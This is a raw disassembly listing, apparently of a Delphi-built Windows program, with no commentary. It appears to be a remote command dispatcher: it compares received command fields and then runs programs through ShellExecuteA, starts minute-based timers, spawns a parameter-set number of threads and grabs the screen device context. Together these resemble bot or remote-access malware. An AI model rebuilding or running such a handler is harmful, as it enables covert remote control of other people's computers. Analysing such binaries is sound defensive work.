mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86a0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x86a4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86a4]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x86a8]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86a8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x86ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86ac]
mov edx, 0x496aa4
call fcn.00404f38
jne 0x494a05
xor eax, eax
push ebp
push 0x49492d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
lea ecx, [ebp - 0x86b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86b0]
call fcn.00409244
mov dword [0x4a6a9c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov eax, dword [ebp - 4]
call fcn.00490650
test al, al
je 0x494913
xor eax, eax
push ebp
push 0x4948d9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x496870
call fcn.00404bc4
lea eax, [ebp - 0x86b8]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86b8]
lea ecx, [ebp - 0x86b4]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x86b4]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86bc]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86bc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49490b
mov eax, dword [ebp - 4]
call fcn.00499868
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2e0
call fcn.0048e25c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494951
lea eax, [ebp - 0x30]
mov edx, 0x4967d4
call fcn.00404bc4
lea eax, [ebp - 0x86c4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86c4]
lea ecx, [ebp - 0x86c0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x86c0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86c8]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86c8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x86cc]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86cc]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x86d0]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86d0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x86d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86d4]
mov edx, 0x496ab0
call fcn.00404f38
jne 0x494a95
xor eax, eax
push ebp
push 0x494a51
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048f89c
lea edx, [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494a5b
cmp dword [ebp - 0x30], 0
jne 0x494a6e
lea eax, [ebp - 0x30]
mov edx, 0x496abc
call fcn.00404bc4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49687c
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x86d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86d8]
mov edx, 0x496ac8
call fcn.00404f38
lea ecx, [ebp - 0x86dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86dc]
mov edx, 0x496ad4
call fcn.00404f38
jne 0x494e3c
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0814]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496ad8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494c33
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a06ac]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496adc
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494c07
xor eax, eax
push ebp
push 0x494bfd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87e8]
mov edx, dword [0x4a0430]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x87e8]
call fcn.00409244
lea edx, [ebp - 0x87e4]
call fcn.0045914c
push dword [ebp - 0x87e4]
lea eax, [ebp - 0x87ec]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
push dword [ebp - 0x87ec]
lea eax, [ebp - 0x87f0]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
mov dl, byte [edx]
call fcn.00404d14
push dword [ebp - 0x87f0]
lea eax, [ebp - 0x87e0]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x87e0]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494c07
xor eax, eax
push ebp
push 0x494c29
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a38]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494c33
xor eax, eax
push ebp
push 0x494caf
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87f8]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x87f8]
call fcn.00409244
lea edx, [ebp - 0x87f4]
call fcn.0045914c
lea eax, [ebp - 0x87f4]
push eax
lea eax, [ebp - 0x87fc]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x87fc]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x87f4]
xor edx, edx
call fcn.00409784
mov eax, dword [ebp - 4]
call fcn.0049949c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494cb9
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0684]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496adc
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494d23
xor eax, eax
push ebp
push 0x494d19
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8800]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8800]
call fcn.0046ff00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494d23
xor eax, eax
push ebp
push 0x494d95
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8808]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8808]
call fcn.00409244
lea edx, [ebp - 0x8804]
call fcn.0045914c
lea eax, [ebp - 0x8804]
push eax
lea ecx, [ebp - 0x880c]
mov dx, 0xa
mov ax, 0x2ec
call fcn.0048e25c
mov edx, dword [ebp - 0x880c]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8804]
call fcn.004098a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494d9f
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0814]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496adc
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494dce
call fcn.00458818
lea eax, [ebp - 0x8814]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8814]
call fcn.00409244
lea edx, [ebp - 0x8810]
call fcn.0045914c
lea eax, [ebp - 0x8810]
push eax
lea eax, [ebp - 0x8818]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8818]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8810]
call fcn.004098a0
xor eax, eax
call fcn.00404a90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x881c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x881c]
mov edx, 0x496ae8
call fcn.00404f38
jne 0x494efa
xor eax, eax
push ebp
push 0x494ef0
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
push 0
lea ecx, [ebp - 0x8820]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8820]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8824]
mov dx, 8
mov ax, 0x2fa
call fcn.0048e25c
mov eax, dword [ebp - 0x8824]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8828]
mov dx, 4
mov ax, 0x2f6
call fcn.0048e25c
mov eax, dword [ebp - 0x8828]
call fcn.00404fec
push eax
mov eax, dword [ebp - 4]
call fcn.0043b798
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494efa
lea ecx, [ebp - 0x882c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x882c]
mov edx, 0x496af4
call fcn.00404f38
jne 0x494f6a
xor edx, edx
push ebp
push 0x494f60
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8830]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8830]
mov dl, 1
mov eax, dword [0x48b498]
call fcn.0048b520
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494f6a
lea ecx, [ebp - 0x8834]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8834]
mov edx, 0x496b00
call fcn.00404f38
jne 0x495074
xor eax, eax
push ebp
push 0x49505d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x883c]
mov edx, dword [0x4a0314]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x883c]
call fcn.00409244
lea edx, [ebp - 0x8838]
call fcn.0045914c
lea eax, [ebp - 0x8838]
push eax
lea ecx, [ebp - 0x8840]
mov dx, 0xa
mov ax, 0x302
call fcn.0048e25c
mov edx, dword [ebp - 0x8840]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8838]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x8844]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8844]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495067
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8848]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8848]
mov edx, 0x496b0c
call fcn.00404f38
jne 0x495261
xor eax, eax
push ebp
push 0x4950ec
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048f89c
lea edx, [ebp - 0x2c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x2c], 0
jne 0x4950d2
lea ecx, [ebp - 0x2c]
mov dx, 6
mov ax, 0x30c
call fcn.0048e25c
jmp 0x4950e2
lea ecx, [ebp - 0x2c]
mov dx, 6
mov ax, 0x312
call fcn.0048e25c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4950f6
xor eax, eax
push ebp
push 0x49524a
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8850]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8850]
lea edx, [ebp - 0x884c]
call fcn.00408d54
mov eax, dword [ebp - 0x884c]
push eax
lea edx, [ebp - 0x8854]
mov eax, dword [ebp - 0x2c]
call fcn.00408d54
mov edx, dword [ebp - 0x8854]
pop eax
call fcn.00405130
test eax, eax
jle 0x495240
lea eax, [ebp - 0x885c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x885c]
lea ecx, [ebp - 0x8858]
mov eax, 0x4967ec
call fcn.0045839c
lea eax, [ebp - 0x8858]
mov edx, 0x4967c8
call fcn.00404df4
mov edx, dword [ebp - 0x8858]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8860]
mov dx, 4
mov ax, 0x318
call fcn.0048e25c
push dword [ebp - 0x8860]
lea edx, [ebp - 0x8864]
mov eax, dword [0x4a6a0c]
call fcn.004090d8
push dword [ebp - 0x8864]
lea ecx, [ebp - 0x8868]
mov dx, 5
mov ax, 0x31c
call fcn.0048e25c
push dword [ebp - 0x8868]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00404eac
lea eax, [ebp - 0x8870]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8870]
lea ecx, [ebp - 0x886c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
lea eax, [ebp - 0x886c]
mov edx, 0x4967c8
call fcn.00404df4
mov edx, dword [ebp - 0x886c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495254
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8874]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8874]
mov edx, 0x496b18
call fcn.00404f38
jne 0x4952e6
xor eax, eax
push ebp
push 0x4952c5
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8878]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8878]
call fcn.00409244
mov dword [0x4a6a54], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4952d9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x887c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x887c]
mov edx, 0x496b24
call fcn.00404f38
jne 0x49534f
xor eax, eax
push ebp
push 0x495338
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a50], 0
je 0x49532e
mov eax, dword [0x4a6a40]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495342
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8880]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8880]
mov edx, 0x496b30
call fcn.00404f38
jne 0x4954cf
xor eax, eax
push ebp
push 0x4954b8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x8884]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8884]
mov eax, dword [0x4a03f8]
call fcn.00404b80
lea ecx, [ebp - 0x8888]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8888]
call fcn.00409244
mov edx, dword [0x4a06d0]
mov dword [edx], eax
lea ecx, [ebp - 0x888c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x888c]
mov eax, dword [0x4a07c0]
call fcn.00404b80
lea ecx, [ebp - 0x8890]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8890]
call fcn.00409244
mov edx, dword [0x4a0170]
mov dword [edx], eax
lea ecx, [ebp - 0x8894]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8894]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x8898]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8898]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x4954ae
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48acf8]
call fcn.0041bc3c
dec ebx
jne 0x49549d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4954c2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x889c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x889c]
mov edx, 0x496b3c
call fcn.00404f38
jne 0x495600
xor eax, eax
push ebp
push 0x4955e9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88a0]
mov eax, dword [0x4a0494]
call fcn.00404b80
lea ecx, [ebp - 0x88a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88a4]
call fcn.00409244
mov edx, dword [0x4a028c]
mov dword [edx], eax
lea ecx, [ebp - 0x88a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88a8]
call fcn.00409244
mov edx, dword [0x4a07d0]
mov dword [edx], eax
lea ecx, [ebp - 0x88ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88ac]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov dl, 1
call fcn.0042becc
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48ad58]
call fcn.0041bc3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4955f3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x88b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88b0]
mov edx, 0x496b48
call fcn.00404f38
jne 0x495783
xor eax, eax
push ebp
push 0x49576c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88b4]
mov eax, dword [0x4a0710]
call fcn.00404b80
lea ecx, [ebp - 0x88b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88b8]
call fcn.00409244
mov edx, dword [0x4a0548]
mov dword [edx], eax
lea ecx, [ebp - 0x88bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88bc]
call fcn.00409244
mov edx, dword [0x4a0450]
mov dword [edx], eax
lea ecx, [ebp - 0x88c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c0]
call fcn.00409244
mov edx, dword [0x4a01f4]
mov dword [edx], eax
lea ecx, [ebp - 0x88c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c4]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x88c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c8]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x495762
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48adb8]
call fcn.0041bc3c
dec ebx
jne 0x495751
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495776
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x88cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88cc]
mov edx, 0x496b54
call fcn.00404f38
jne 0x495903
xor eax, eax
push ebp
push 0x4958ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88d0]
mov eax, dword [0x4a01e8]
call fcn.00404b80
lea ecx, [ebp - 0x88d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88d4]
call fcn.00409244
mov edx, dword [0x4a06ec]
mov dword [edx], eax
lea ecx, [ebp - 0x88d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88d8]
mov eax, dword [0x4a02a4]
call fcn.00404b80
lea ecx, [ebp - 0x88dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88dc]
call fcn.00409244
mov edx, dword [0x4a0538]
mov dword [edx], eax
lea ecx, [ebp - 0x88e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e0]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30c]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x88e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e4]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x4958e2
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48ae18]
call fcn.0041bc3c
dec ebx
jne 0x4958d1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4958f6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x88e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e8]
mov edx, 0x496b60
call fcn.00404f38
jne 0x4959e2
xor eax, eax
push ebp
push 0x4959cb
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x88ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88ec]
push eax
lea ecx, [ebp - 0x88f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88f0]
call fcn.00409244
push eax
lea ecx, [ebp - 0x88f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88f4]
call fcn.00409244
push eax
lea ecx, [ebp - 0x88f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x88f8]
mov dl, 1
mov eax, dword [0x48a80c]
call fcn.0048a88c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4959d5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x88fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88fc]
mov edx, 0x496b6c
call fcn.00404f38
jne 0x495b7f
xor eax, eax
push ebp
push 0x495b68
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x495b57
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41e554]
call fcn.00420478
mov dword [ebp - 0x38], eax
push 0
call sub.user32.dll_GetDC
mov edx, eax
